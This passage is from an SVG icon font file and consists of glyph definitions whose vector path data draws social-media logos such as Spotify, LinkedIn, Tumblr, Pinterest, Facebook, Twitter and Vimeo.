<glyph unicode="&#xe31a;" d="M 380.912,92.352c-17.45,12.298-39.222,11.424-51.61-6.16s-98.963-126.179-240.8-81.088c 5.331-4.659, 10.976-9.094, 16.89-13.261
	c 93.050-65.52, 221.581-43.21, 287.123,49.862C 404.88,59.29, 398.339,80.077, 380.912,92.352z M 107.184,106.24c-9.050,19.51-59.786,148.803, 50.176,249.088
	c-6.72-2.307-13.35-4.95-19.914-7.997C 34.16,299.507-10.774,177.024, 37.050,73.738c 9.027-19.533, 30.307-24.282, 49.661-15.322
	C 106.064,67.398, 116.211,86.707, 107.184,106.24z M 242.502,365.587c-21.414,1.926-36.154-14.112-38.080-35.37c-1.904-21.258, 9.744-39.67, 31.158-41.597
	c 21.437-1.926, 158.749-22.624, 190.624-168.022c 1.389,6.966, 2.374,14.045, 3.046,21.258C 439.443,255.2, 355.846,355.373, 242.502,365.587z M 154.358,148.15
	c-5.891-13.91-6.854-27.171-2.106-29.635c 3.27-1.702, 8.378,2.195, 13.171,9.318c 1.904-7.795, 6.608-14.806, 13.328-20.451
	c-7.034-2.598-11.648-6.854-11.648-11.67c0-7.907, 12.454-14.314, 27.798-14.314c 13.843,0, 25.312,5.197, 27.44,12.029c 0.56,0, 2.755,0, 3.293,0
	c 2.15-6.832, 13.597-12.029, 27.462-12.029c 15.366,0, 27.798,6.406, 27.798,14.314c0,4.816-4.592,9.050-11.648,11.67
	c 6.698,5.645, 11.424,12.656, 13.306,20.451c 4.816-7.123, 9.901-11.021, 13.194-9.318c 4.749,2.464, 3.808,15.725-2.128,29.635
	c-4.637,10.886-10.931,18.95-15.725,20.742c 0.067,0.672, 0.112,1.389, 0.112,2.106c0,4.211-1.187,8.109-3.203,11.29
	c 0.045,0.246, 0.045,0.493, 0.045,0.739c0,1.949-0.47,3.763-1.254,5.331C 272.384,216.717, 253.904,239.274, 224,239.274S 175.594,216.717, 174.384,188.358
	C 173.6,186.768, 173.13,184.954, 173.13,183.005c0-0.246,0-0.493, 0.022-0.739C 171.181,179.107, 169.994,175.21, 169.994,170.976
	c0-0.717, 0.045-1.411, 0.090-2.106C 165.312,167.078, 158.995,159.037, 154.358,148.15z"  />
<glyph unicode="&#xe31b;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040c0-54.298, 20.115-103.891, 53.312-141.702c 33.645,33.645, 79.722,52.528, 132.608,50.826
	c 67.469-2.195, 120.736-34.138, 151.267-86.106C 402.259,21.814, 439.040,86.595, 439.040,160C 439.040,278.765, 342.765,375.040, 224,375.040z M 329.123,83.347
	c-3.786-6.272-11.894-8.198-18.144-4.413c-49.818,30.419-112.448,37.296-186.234,20.451c-7.078-1.635-14.202,2.8-15.792,9.946
	c-1.635,7.056, 2.778,14.179, 9.901,15.792c 80.752,18.458, 150.013,10.483, 205.878-23.61C 330.96,97.706, 332.954,89.574, 329.123,83.347z
	 M 355.085,144.342c-4.771-7.795-14.963-10.214-22.714-5.421c-56.986,35.011-143.853,45.158-211.254,24.707c-8.758-2.643-17.987,2.307-20.608,10.998
	c-2.643,8.758, 2.285,17.987, 10.998,20.608c 76.989,23.408, 172.704,12.074, 238.157-28.134C 357.437,162.262, 359.878,152.138, 355.085,144.342z
	 M 357.302,207.533C 288.982,248.144, 176.288,251.84, 111.059,232.061C 100.576,228.858, 89.51,234.771, 86.33,245.254C 83.171,255.738, 89.085,266.848, 99.523,269.984
	c 74.906,22.736, 199.36,18.346, 278.006-28.358c 9.43-5.6, 12.544-17.763, 6.966-27.194C 378.874,205.046, 366.733,201.955, 357.302,207.533z M 193.514,4.813
	c-30.262,0.963-55.44-10.819-73.83-32.883C 150.573-45.251, 186.144-55.040, 224-55.040c 18.256,0, 35.974,2.285, 52.909,6.563
	C 260.691-15.168, 232.4,3.558, 193.514,4.813z"  />
<glyph unicode="&#xe31c;" d="M 224,357.12C 115.136,357.12, 26.88,268.864, 26.88,160c0-49.773, 18.435-95.222, 48.877-129.898c 30.822,30.822, 73.069,48.138, 121.565,46.57
	c 61.846-1.994, 110.656-31.293, 138.656-78.915C 387.408,33.328, 421.12,92.71, 421.12,160C 421.12,268.864, 332.842,357.12, 224,357.12z M 320.387,89.731
	c-3.472-5.757-10.909-7.526-16.621-4.054c-45.651,27.888-103.085,34.182-170.733,18.749c-6.496-1.501-13.014,2.576-14.47,9.117
	c-1.501,6.496, 2.554,12.992, 9.094,14.47c 74.010,16.912, 137.514,9.61, 188.72-21.638C 322.067,102.88, 323.882,95.443, 320.387,89.731z
	 M 344.131,145.642c-4.368-7.123-13.686-9.341-20.81-4.95C 271.13,172.768, 191.475,182.064, 129.696,163.315C 121.677,160.896, 113.21,165.421, 110.79,173.395
	C 108.371,181.414, 112.896,189.882, 120.87,192.301c 70.582,21.437, 158.323,11.066, 218.31-25.805C 346.304,162.083, 348.566,152.81, 344.131,145.642z M 346.192,203.568
	C 283.584,240.797, 180.253,244.179, 120.467,226.058C 110.88,223.123, 100.733,228.566, 97.776,238.154C 94.886,247.763, 100.307,257.933, 109.917,260.822
	c 68.656,20.854, 182.739,16.822, 254.822-25.984c 8.646-5.13, 11.491-16.285, 6.362-24.909C 365.971,201.306, 354.861,198.483, 346.192,203.568z M 196.045,17.738
	c-27.731,0.896-50.826-9.923-67.67-30.15C 156.688-28.138, 189.28-37.12, 224-37.12c 16.733,0, 32.995,2.083, 48.496,6.026
	C 257.622-0.586, 231.706,16.595, 196.045,17.738z"  />
<glyph unicode="&#xe31d;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 300.227,171.581
	c 0.493-3.786, 0.762-7.661, 0.762-11.581c0-48.765-39.021-88.278-87.181-88.278c-48.115,0-87.158,39.536-87.158,88.278s 39.021,88.256, 87.158,88.256
	c 6.922,0, 13.619-0.851, 20.070-2.374L 233.878,195.616 C 223.686,199.334, 211.165,198.774, 199.36,193.107c-21.325-10.304-32.166-33.466-24.17-51.766
	c 7.997-18.256, 31.763-24.73, 53.088-14.448c 14.694,7.078, 27.664,24.17, 27.664,45.584L 255.942,237.28 c 1.837-1.030, 3.606-2.128, 5.354-3.27
	c 16.576-10.416, 41.171-24.326, 69.933-25.782C 342.451,207.645, 326.838,179.443, 300.227,171.581z"  />
<glyph unicode="&#xe31e;" d="M 356.966,182.938c 52.662,15.568, 83.53,71.366, 61.354,72.486c-56.918,2.89-105.594,30.464-138.387,51.072
	c-3.472,2.285-7.011,4.458-10.662,6.496l0-128.24 c0-42.403-25.648-76.182-54.723-90.227c-42.224-20.384-89.264-7.594-105.078,28.582
	c-15.814,36.176, 5.6,82.029, 47.824,102.39c 23.363,11.267, 48.16,12.365, 68.365,4.995L 225.658,329.971 C 212.89,333.018, 199.606,334.72, 185.92,334.72
	c-95.267,0-172.502-78.221-172.502-174.72c0-96.499, 77.235-174.72, 172.502-174.72c 95.29,0, 172.502,78.221, 172.502,174.72
	C 358.422,167.773, 357.93,175.434, 356.966,182.938z"  />
<glyph unicode="&#xe31f;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 283.248,96.608
	c-44.845,0-60.413,20.384-68.678,45.741L 206.237,168.49C 200.032,187.552, 195.014,201.35, 172.211,201.35c-15.814,0-36.422-10.371-36.422-42.515
	c0-25.088, 17.248-40.768, 35.123-40.768c 15.187,0, 24.282,8.534, 29.030,12.79l 7.93-22.646c-5.398-3.92-16.442-11.603-38.237-11.603
	c-30.128,0-58.8,21.437-58.8,61.152c0,41.306, 29.859,65.61, 60.614,65.61c 34.474,0, 47.309-12.566, 58.218-46.525l 8.557-26.118
	c 6.227-19.107, 19.376-32.95, 45.562-32.95c 17.629,0, 26.97,3.942, 26.97,13.574c0,7.594-4.413,13.082-17.629,16.218l-17.629,4.189
	c-21.526,5.219-30.083,16.464-30.083,34.25c0,28.47, 22.826,37.363, 46.166,37.363c 26.454,0, 42.515-9.677, 44.576-33.174l-25.917-3.158
	c-1.030,11.245-7.773,15.949-20.227,15.949c-11.402,0-18.39-5.219-18.39-14.112c0-7.862, 3.36-12.566, 14.784-15.165l 16.576-3.651
	c 22.288-5.219, 34.227-16.218, 34.227-37.386C 337.187,106.531, 315.392,96.608, 283.248,96.608z"  />
<glyph unicode="&#xe320;" d="M 176.378,102.275c-9.386-8.422-27.418-25.312-57.434-25.312c-35.414,0-69.53,31.046-69.53,80.707c0,63.638, 40.768,84.157, 72.083,84.157
		c 45.158,0, 55.059-27.238, 67.357-65.005l 16.419-51.744c 16.397-50.154, 47.197-90.496, 135.968-90.496c 63.661,0, 106.758,19.645, 106.758,71.366
		c0,41.91-23.632,63.638-67.738,73.987L 347.424,187.149c-22.579,5.174-29.254,14.47-29.254,30.016c0,17.584, 13.843,27.933, 36.422,27.933
		c 24.64,0, 37.968-9.318, 40.029-31.562l 51.318,6.205C 441.84,266.288, 410.032,285.44, 357.683,285.44c-46.189,0-91.325-17.584-91.325-73.965
		c0-35.168, 16.934-57.411, 59.494-67.76l 34.922-8.266c 26.163-6.205, 34.899-17.091, 34.899-32.099c0-19.13-18.48-26.88-53.379-26.88
		c-51.811,0-77.862,27.418-90.16,65.162l-16.957,51.744C 213.629,260.598, 188.182,285.44, 119.93,285.44C 59.091,285.44,0,237.325,0,155.61
		C0,76.963, 56.717,34.56, 116.346,34.56c 43.12,0, 65.005,15.142, 75.712,22.915L 176.378,102.275z"  />
<glyph unicode="&#xe321;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224,209.616
	c-6.563,0-11.894-5.331-11.894-11.872l0-70.963 c0-27.843-22.714-50.534-50.646-50.534c-27.91,0-50.646,22.691-50.646,50.534l0,29.702 l 38.73,0 l0-29.702 
	c0-6.541, 5.331-11.85, 11.894-11.85s 11.894,5.309, 11.894,11.85L 173.331,197.744 C 173.354,225.61, 196.090,248.256, 224,248.256s 50.646-22.669, 50.646-50.534l0-13.53 
	l-23.296-7.459l-15.434,7.459L 235.917,197.744 C 235.894,204.285, 230.563,209.616, 224,209.616z M 337.187,126.781c0-27.843-22.736-50.534-50.646-50.534
	c-27.933,0-50.646,22.691-50.646,50.534L 235.894,157.088 l 15.434-7.459l 23.296,7.459l0-30.33 c0-6.541, 5.331-11.85, 11.894-11.85s 11.872,5.309, 11.872,11.85
	l0,29.702 l 38.752,0 L 337.142,126.781 z"  />
<glyph unicode="&#xe322;" d="M 247.565,203.456l 30.554-14.762l 46.122,14.762L 324.24,230.224 C 324.24,285.373, 279.283,330.24, 224,330.24c-55.261,0-100.218-44.867-100.218-100.016l0-140.448 
	c0-12.947-10.573-23.498-23.542-23.498s-23.542,10.55-23.542,23.498L 76.698,148.576 L0,148.576 l0-58.8 C0,34.627, 44.957-10.24, 100.24-10.24s 100.24,44.867, 100.24,100.016
	l0,140.448 c0,12.947, 10.573,23.498, 23.542,23.498c 12.992,0, 23.565-10.55, 23.565-23.498L 247.587,203.456 z M 371.325,148.576l0-58.8 c0-12.947-10.573-23.498-23.542-23.498
	c-12.992,0-23.565,10.55-23.565,23.498l0,59.987 l-46.122-14.762l-30.554,14.762l0-59.987 c0-55.149, 44.957-100.016, 100.24-100.016
	c 55.261,0, 100.218,44.867, 100.218,100.016L 448,148.576 L 371.325,148.576 z"  />
<glyph unicode="&#xe323;" d="M 229.802,160.381c 0.762,0.246, 1.523,0.47, 2.33,0.717c-1.859,4.166-3.92,8.445-6.25,13.059
	c-42.112-12.454-82.432-12.589-89.622-12.499C 136.214,161.12, 136.192,160.538, 136.192,160c0-21.168, 7.616-41.53, 21.459-57.501
	C 162.288,109.958, 186.726,146.448, 229.802,160.381z M 281.232,226.55C 265.306,240.259, 245.034,247.786, 224,247.786c-6.339,0-12.723-0.694-19.018-2.083
	c 4.57-6.182, 18.637-25.693, 31.83-49.795C 265.53,206.928, 278.522,222.854, 281.232,226.55z M 170.778,90.269C 186.211,78.419, 204.602,72.192, 224,72.192
	c 11.603,0, 22.848,2.24, 33.488,6.608c-1.478,8.534-6.608,34.496-18.413,65.43C 191.542,127.43, 173.622,95.824, 170.778,90.269z M 217.392,189.904
	C 203.773,213.917, 189.594,233.696, 185.718,239.005c-23.901-11.626-41.485-33.757-47.331-59.584l 0.358,0 C 147.84,179.421, 180.141,180.182, 217.392,189.904z M 257.914,148.845
	c 10.416-28.918, 15.232-52.998, 16.576-60.682c 19.085,13.44, 32.122,34.070, 36.042,56.941c-3.898,1.165-17.942,4.973-35.661,4.973
	C 269.114,150.077, 263.379,149.651, 257.914,148.845z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040c 118.787,0, 215.040,96.275, 215.040,215.040
	S 342.787,375.040, 224,375.040z M 224,54.765c-58.016,0-105.235,47.197-105.235,105.235S 165.962,265.235, 224,265.235c 58.061,0, 105.28-47.197, 105.28-105.235
	S 282.061,54.765, 224,54.765z M 244.653,180.698c 1.949-3.987, 3.741-7.974, 5.421-11.872c 0.515-1.277, 1.098-2.531, 1.613-3.808
	c 6.205,0.739, 12.813,1.12, 19.734,1.12c 19.13,0, 35.034-2.8, 40.342-3.853c-0.47,19.040-7.213,37.542-19.085,52.394
	C 289.094,210.042, 274.355,193.107, 244.653,180.698z"  />
<glyph unicode="&#xe324;" d="M 214.256,217.77C 183.837,271.866, 151.312,315.949, 148.915,319.174C 99.837,295.99, 63.19,250.787, 51.789,196.288C 56.403,196.198, 129.741,195.325, 214.256,217.77
	z M 236.186,158.656c 2.33,0.739, 4.614,1.411, 6.966,2.083c-4.413,10.013-9.251,20.026-14.291,29.904c-90.63-27.104-177.61-25.155-180.701-25.066
	C 48.093,163.718, 48.026,161.882, 48.026,160c0-45.27, 17.114-86.486, 45.158-117.667c-0.045,0.045-0.134,0.157-0.134,0.157
	S 141.232,127.923, 236.186,158.656z M 115.83,21.277l 0.045,0.067c-1.322,1.030-2.71,1.949-3.987,3.024
	C 114.218,22.486, 115.83,21.277, 115.83,21.277z M 181.843,330.867C 181.686,330.822, 181.53,330.8, 181.395,330.755C 181.642,330.822, 181.821,330.845, 181.843,330.867
	L 181.843,330.867z M 340.234,292.070c-31.002,27.306-71.658,43.904-116.211,43.904c-14.314,0-28.179-1.747-41.485-4.973
	c 2.666-3.539, 35.706-47.443, 65.811-102.659C 314.698,253.229, 339.786,291.354, 340.234,292.070z M 224.022-46.080C 110.186-46.080, 17.92,46.186, 17.92,160
	s 92.266,206.080, 206.102,206.080c 113.814,0, 206.058-92.266, 206.058-206.080S 337.837-46.080, 224.022-46.080z M 253.949,131.216c-103.286-35.997-137.402-108.394-138.074-109.872
	c 29.837-23.318, 67.334-37.318, 108.147-37.318c 24.371,0, 47.578,4.95, 68.678,13.91c-2.598,15.434-12.835,69.35-37.587,133.683
	C 254.733,131.462, 254.33,131.35, 253.949,131.216z M 261.856,202.134c 4.122-8.4, 8.042-16.912, 11.693-25.536c 1.322-3.046, 2.554-6.070, 3.808-9.094
	c 60.794,7.638, 120.624-5.331, 122.573-5.757c-0.403,41.754-15.322,80.058-40.006,110.029C 359.565,271.261, 331.341,230.493, 261.856,202.134z M 288.086,139.728
	c 23.117-63.504, 32.48-115.181, 34.25-125.709c 39.536,26.678, 67.603,68.992, 75.421,118.070C 394.285,133.232, 344.982,148.845, 288.086,139.728z"  />
<glyph unicode="&#xe325;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 171.36,70.87L 127.814,70.87 L 127.814,210.982 L 171.36,210.982 
	L 171.36,70.87 z M 149.318,228.186c-13.754,0-22.646,9.766-22.646,21.795c0,12.32, 9.162,21.773, 23.206,21.773s 22.646-9.453, 22.915-21.773
	C 172.816,237.93, 163.923,228.186, 149.318,228.186z M 330.378,70.87l-43.523,0 l0,77.661 c0,18.054-6.317,30.352-22.064,30.352
	c-12.029,0-19.174-8.31-22.355-16.33c-1.142-2.845-1.434-6.877-1.434-10.864l0-80.797 L 197.434,70.893 l0,95.424 c0,17.472-0.56,32.099-1.142,44.688l 37.811,0 
	l 2.016-19.466l 0.851,0 c 5.734,9.162, 19.779,22.624, 43.277,22.624c 28.65,0, 50.131-19.174, 50.131-60.435L 330.378,70.87 z"  />
<glyph unicode="&#xe326;" d="M 113.702,315.68c0-23.811-17.584-43.098-46.502-43.098c-27.216,0-44.8,19.286-44.8,43.098c0,24.371, 18.166,43.098, 45.942,43.098
		S 113.142,340.051, 113.702,315.68z M 24.685-38.778L 24.685,238.534 L 110.88,238.534 l0-277.312 L 24.685-38.778 zM 162.467,150.077c0,34.586-1.142,63.504-2.285,88.458l 74.861,0 l 3.987-38.573l 1.702,0 c 11.334,18.166, 39.133,44.8, 85.635,44.8
		c 56.694,0, 99.232-37.99, 99.232-119.661l0-163.901 l-86.195,0 l0,153.686 c0,35.728-12.499,60.122-43.68,60.122c-23.811,0-37.968-16.442-44.218-32.323
		c-2.285-5.667-2.845-13.597-2.845-21.549l0-159.936 L 162.467-38.8 L 162.467,150.077 z"  />
<glyph unicode="&#xe327;" d="M 224,375.040C 105.235,375.040, 8.96,278.765, 8.96,160S 105.235-55.040, 224-55.040c 118.765,0, 215.018,96.275, 215.018,215.040S 342.787,375.040, 224,375.040z M 281.702,67.219
	c-8.803-4.189-16.755-7.123-23.834-8.826c-7.123-1.68-14.874-2.531-23.139-2.531c-9.408,0-17.718,1.21-24.954,3.606
	c-7.213,2.397-13.395,5.846-18.502,10.282c-5.107,4.435-8.646,9.184-10.618,14.202s-2.957,12.275-2.957,21.795L 177.699,178.794 L 154.963,178.794 L 154.963,208.25 
	c 8.064,2.666, 15.008,6.474, 20.765,11.446c 5.757,4.95, 10.394,10.909, 13.866,17.875C 193.088,244.515, 195.507,253.386, 196.806,264.115l 29.254,0 l0-52.662 l 48.81,0 
	l0-32.682 l-48.81,0 l0-53.402 c0-12.074, 0.627-19.824, 1.904-23.251s 3.606-6.16, 7.034-8.198c 4.57-2.755, 9.789-4.166, 15.635-4.166
	c 10.416,0, 20.787,3.427, 31.069,10.304L 281.702,67.219 z"  />
<glyph unicode="&#xe328;" d="M 349.44-23.59c-17.382-8.288-33.152-14.134-47.242-17.472c-14.112-3.315-29.389-5.018-45.763-5.018c-18.614,0-35.056,2.397-49.392,7.146
	c-14.291,4.771-26.477,11.558-36.602,20.317c-10.102,8.848-17.114,18.189-21.011,28.112c-3.92,9.923-5.869,24.304-5.869,43.142L 143.562,197.206 L 98.56,197.206 L 98.56,255.536 
	C 114.554,260.8, 128.285,268.304, 139.664,278.138c 11.424,9.811, 20.563,21.616, 27.485,35.392C 174.048,327.306, 178.774,344.8, 181.395,366.080l 57.904,0 l0-104.182 l 96.656,0 l0-64.691 
	l-96.656,0 l0-105.706 c0-23.878, 1.254-39.222, 3.786-46.032c 2.464-6.765, 7.123-12.186, 13.91-16.24c 9.050-5.466, 19.331-8.198, 30.934-8.198
	c 20.63,0, 41.126,6.787, 61.51,20.339L 349.44-23.59 z"  />
<glyph unicode="&#xe329;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 238.694,109.018
	c-13.776,1.075-19.555,7.907-30.352,14.47c-5.958-31.181-13.194-61.062-34.72-76.653c-6.63,47.107, 9.766,82.477, 17.36,120.019
	C 178.013,188.672, 192.55,232.621, 219.901,221.802c 33.667-13.328-29.165-81.178, 13.014-89.667c 44.038-8.848, 62.003,76.406, 34.698,104.115
	c-39.446,40.029-114.822,0.918-105.549-56.403c 2.262-14.022, 16.71-18.256, 5.779-37.61c-25.245,5.6-32.794,25.514-31.808,52.058
	C 137.603,237.773, 175.078,268.192, 212.666,272.426c 47.555,5.309, 92.176-17.45, 98.358-62.182C 317.946,159.731, 289.542,105.075, 238.694,109.018z"  />
<glyph unicode="&#xe32a;" d="M 192.998,87.693C 181.238,26.026, 166.88-33.11, 124.32-64c-13.126,93.229, 19.286,163.229, 34.339,237.552
	c-25.67,43.232, 3.091,130.189, 57.254,108.752c 66.64-26.365-57.702-160.675, 25.76-177.453c 87.158-17.517, 122.73,151.2, 68.701,206.058
	C 232.288,390.16, 83.059,312.746, 101.427,199.334c 4.458-27.731, 33.107-36.154, 11.446-74.413c-49.974,11.066-64.893,50.49-62.966,103.040
	C 52.998,313.955, 127.187,374.166, 201.6,382.499c 94.125,10.55, 182.448-34.541, 194.611-123.066c 13.731-99.904-42.448-208.118-143.114-200.323
	C 225.837,61.194, 214.39,74.701, 192.998,87.693z"  />
<glyph unicode="&#xe32b;" d="M 203.773,220.816c-5.398,19.040-14.134,24.662-27.731,24.662c-1.456,0-2.934-0.202-4.346-0.582C 165.782,243.216, 161.123,238.288, 158.525,231.008
	C 155.859,223.616, 155.68,215.888, 158.010,207.107c 4.122-15.68, 15.277-27.082, 26.544-27.082c 1.456,0, 2.934,0.202, 4.346,0.582
	C 201.152,184.080, 208.858,202.851, 203.773,220.816z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040c 118.787,0, 215.040,96.275, 215.040,215.040
	S 342.787,375.040, 224,375.040z M 211.613,67.667c-13.53-6.563-28.067-7.258-33.69-7.258c-1.075,0-1.68,0.022-1.77,0.022c0,0-0.426,0-1.098,0
	c-8.781,0-52.483,2.016-52.483,41.821c0,39.11, 47.578,42.157, 62.16,42.157l 0.403,0 C 176.736,155.654, 178.483,166.989, 178.483,166.989
	C 177.744,166.944, 176.646,166.899, 175.325,166.899c-5.51,0-16.106,0.874-25.2,6.765C 138.992,180.81, 133.347,193.018, 133.347,209.93
	c0,47.734, 52.102,49.661, 52.64,49.683l 52.035,0 l0-1.142 c0-5.824-10.438-6.944-17.584-7.93C 218.019,250.205, 213.181,249.712, 211.792,249.018
	c 13.194-7.034, 15.322-18.122, 15.322-34.608c0-18.749-7.347-28.672-15.142-35.661C 207.155,174.448, 203.347,171.021, 203.347,166.496
	c0-4.435, 5.197-9.005, 11.245-14.314c 9.878-8.691, 23.43-20.586, 23.43-40.566C 238.022,90.963, 229.13,76.179, 211.613,67.667z M 325.405,160.202
	l-33.958,0 l0-33.958 l-21.504,0 L 269.942,160.202 l-33.958,0 l0,21.504 l 33.958,0 L 269.942,215.642 l 21.504,0 l0-33.958 l 33.958,0 L 325.405,160.202 z M 184.195,134.218c-1.165,0-2.33-0.045-3.494-0.134
	c-9.946-0.717-19.13-4.458-25.782-10.506c-6.586-5.958-9.923-13.462-9.453-21.078c 0.986-15.904, 18.099-25.245, 38.842-23.744
	c 20.451,1.478, 34.070,13.238, 33.062,29.165C 216.406,122.906, 203.392,134.218, 184.195,134.218z"  />
<glyph unicode="&#xe32c;" d="M 44.576,258.806c0-33.443, 11.178-57.613, 33.197-71.792c 18.032-11.626, 38.976-13.373, 49.862-13.373c 2.643,0, 4.749,0.112, 6.227,0.202
	c0,0-3.45-22.467, 13.216-44.71l-0.762,0.022c-28.874,0-123.066-6.048-123.066-83.485c0-78.781, 86.509-82.768, 103.846-82.768
	c 1.366,0, 2.15,0.022, 2.15,0.022c 0.202,0, 1.434-0.045, 3.539-0.045c 11.133,0, 39.917,1.389, 66.662,14.403
	c 34.675,16.822, 52.282,46.122, 52.282,87.024c0,39.536-26.79,63.056-46.368,80.259c-11.939,10.483-22.266,19.533-22.266,28.336
	c0,8.96, 7.526,15.702, 17.069,24.237c 15.411,13.798, 29.971,33.443, 29.971,70.582c0,32.659-4.234,54.566-30.33,68.454
	c 2.733,1.389, 12.342,2.397, 17.114,3.069c 14.134,1.926, 34.81,4.122, 34.81,15.658L 251.731,357.12 L 148.736,357.12 C 147.706,357.098, 44.576,353.267, 44.576,258.806z
	 M 210.851,56.915c 1.971-31.494-24.976-54.746-65.43-57.68c-41.082-3.024-74.928,15.478-76.899,46.973c-0.941,15.12, 5.69,29.926, 18.704,41.731
	c 13.216,11.939, 31.315,19.309, 51.050,20.787c 2.33,0.134, 4.637,0.246, 6.944,0.246C 183.232,108.973, 208.992,86.618, 210.851,56.915z M 183.949,280.378
	c 10.102-35.549-5.152-72.71-29.456-79.565C 151.693,200.029, 148.803,199.626, 145.891,199.626c-22.288,0-44.352,22.534-52.528,53.581
	C 88.794,270.656, 89.152,285.888, 94.394,300.56C 99.546,314.963, 108.797,324.73, 120.445,328c 2.8,0.806, 5.712,1.187, 8.624,1.187
	C 155.949,329.187, 173.242,318.032, 183.949,280.378z M 357.526,202.963l0,67.2 l-42.56,0 l0-67.2 l-67.2,0 l0-42.56 l 67.2,0 l0-67.2 l 42.56,0 l0,67.2 l 67.2,0 l0,42.56 L 357.526,202.963 z"  />
<glyph unicode="&#xe32d;" d="M 368.48,352.64L 79.52,352.64 C 53.043,352.64, 31.36,330.957, 31.36,304.48l0-288.96 c0-26.499, 21.683-48.138, 48.138-48.138l 146.138,0 l0,138.141 l-46.144,0 L 179.491,165.69 l 46.144,0 L 225.635,195.84 
	c0,46.48, 34.317,82.88, 78.131,82.88l 42.515,0 l0-67.962 l-38.058,0 c-9.946,0-12.858-5.712-12.858-13.597l0-31.45 l 50.915,0 l0-60.189 l-50.915,0 L 295.366-32.64 l 73.091,0 
	c 26.499,0, 48.138,21.661, 48.138,48.138L 416.595,304.48 C 416.64,330.957, 394.979,352.64, 368.48,352.64z"  />
<glyph unicode="&#xe32e;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 274.915,226.438L 242.592,226.438 
	c-3.808,0-8.064-5.040-8.064-11.738l0-23.341 l 40.41,0 l0-33.286 L 234.528,158.074 l0-99.926 L 196.358,58.147 l0,99.926 L 161.773,158.074 L 161.773,191.338 l 34.586,0 L 196.358,210.915 
	c0,28.090, 19.488,50.915, 46.234,50.915l 32.323,0 L 274.915,226.438 z"  />
<glyph unicode="&#xe32f;" d="M 336,291.51l-63.974,0 c-7.571,0-16.016-9.946-16.016-23.274L 256.010,222.048 L 336,222.048 l0-65.856 l-79.99,0 L 256.010-41.6 L 180.477-41.6 l0,197.77 L 112,156.17 L 112,222.048 l 68.477,0 L 180.477,260.8 
	c0,55.574, 38.573,100.8, 91.526,100.8L 336,361.6 L 336,291.51 z"  />
<glyph unicode="&#xe330;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 311.45,198.864
	c 0.090-1.814, 0.134-3.651, 0.134-5.488c0-55.955-42.605-120.49-120.512-120.49c-23.901,0-46.189,6.989-64.915,19.040
	c 3.315-0.403, 6.698-0.582, 10.102-0.582c 19.846,0, 38.102,6.765, 52.618,18.144c-18.525,0.336-34.182,12.589-39.581,29.389
	c 2.576-0.493, 5.242-0.762, 7.952-0.762c 3.875,0, 7.616,0.515, 11.155,1.478c-19.354,3.898-33.981,21.011-33.981,41.53
	c0,0.179,0,0.358, 0.022,0.515C 140.157,178.48, 146.698,176.576, 153.619,176.352C 142.285,183.946, 134.803,196.893, 134.803,211.61
	c0,7.773, 2.083,15.053, 5.734,21.302C 161.414,207.264, 192.64,190.397, 227.83,188.65c-0.717,3.091-1.098,6.317-1.098,9.654
	c0,23.386, 18.973,42.358, 42.358,42.358c 12.186,0, 23.184-5.13, 30.912-13.373c 9.654,1.882, 18.726,5.398, 26.902,10.259
	c-3.181-9.878-9.878-18.189-18.637-23.43c 8.579,1.030, 16.733,3.293, 24.326,6.675C 326.928,212.304, 319.715,204.845, 311.45,198.864z"  />
<glyph unicode="&#xe331;" d="M 430.080,287.837c-15.187-6.742-31.472-11.267-48.586-13.328c 17.472,10.461, 30.89,27.037, 37.184,46.771c-16.33-9.677-34.429-16.733-53.67-20.518
	c-15.434,16.442-37.408,26.701-61.734,26.701c-46.704,0-84.56-37.856-84.56-84.538c0-6.63, 0.739-13.082, 2.195-19.264
	c-70.269,3.517-132.586,37.184-174.272,88.346C 39.334,299.53, 35.146,284.992, 35.146,269.491c0-29.344, 14.941-55.216, 37.632-70.381
	c-13.866,0.448-26.902,4.234-38.304,10.573c0-0.358,0-0.694,0-1.053c0-40.97, 29.165-75.13, 67.827-82.925c-7.078-1.926-14.56-2.957-22.288-2.957
	c-5.443,0-10.73,0.515-15.904,1.501c 10.752-33.6, 42-58.038, 78.982-58.71c-28.941-22.691-65.386-36.198-105.011-36.198
	c-6.832,0-13.552,0.403-20.16,1.187c 37.408-23.99, 81.85-37.99, 129.629-37.99c 155.523,0, 240.576,128.845, 240.576,240.598
	c0,3.651-0.067,7.302-0.246,10.931C 404.41,255.984, 418.723,270.88, 430.080,287.837z"  />
<glyph unicode="&#xe332;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 322.56,201.418
	c-11.379-65.341-74.995-120.646-94.102-133.28c-19.13-12.611-36.579,5.085-42.918,18.435C 178.304,101.827, 156.576,184.55, 150.886,191.382
	C 145.197,198.259, 128.15,184.55, 128.15,184.55L 119.885,195.616c0,0, 34.653,42.157, 61.018,47.398c 27.955,5.6, 27.91-43.702, 34.63-71.098
	c 6.518-26.499, 10.886-41.642, 16.554-41.642c 5.69,0, 16.554,14.762, 28.448,37.408c 11.917,22.691-0.493,42.694-23.789,28.47
	C 246.019,253.027, 333.962,266.736, 322.56,201.418z"  />
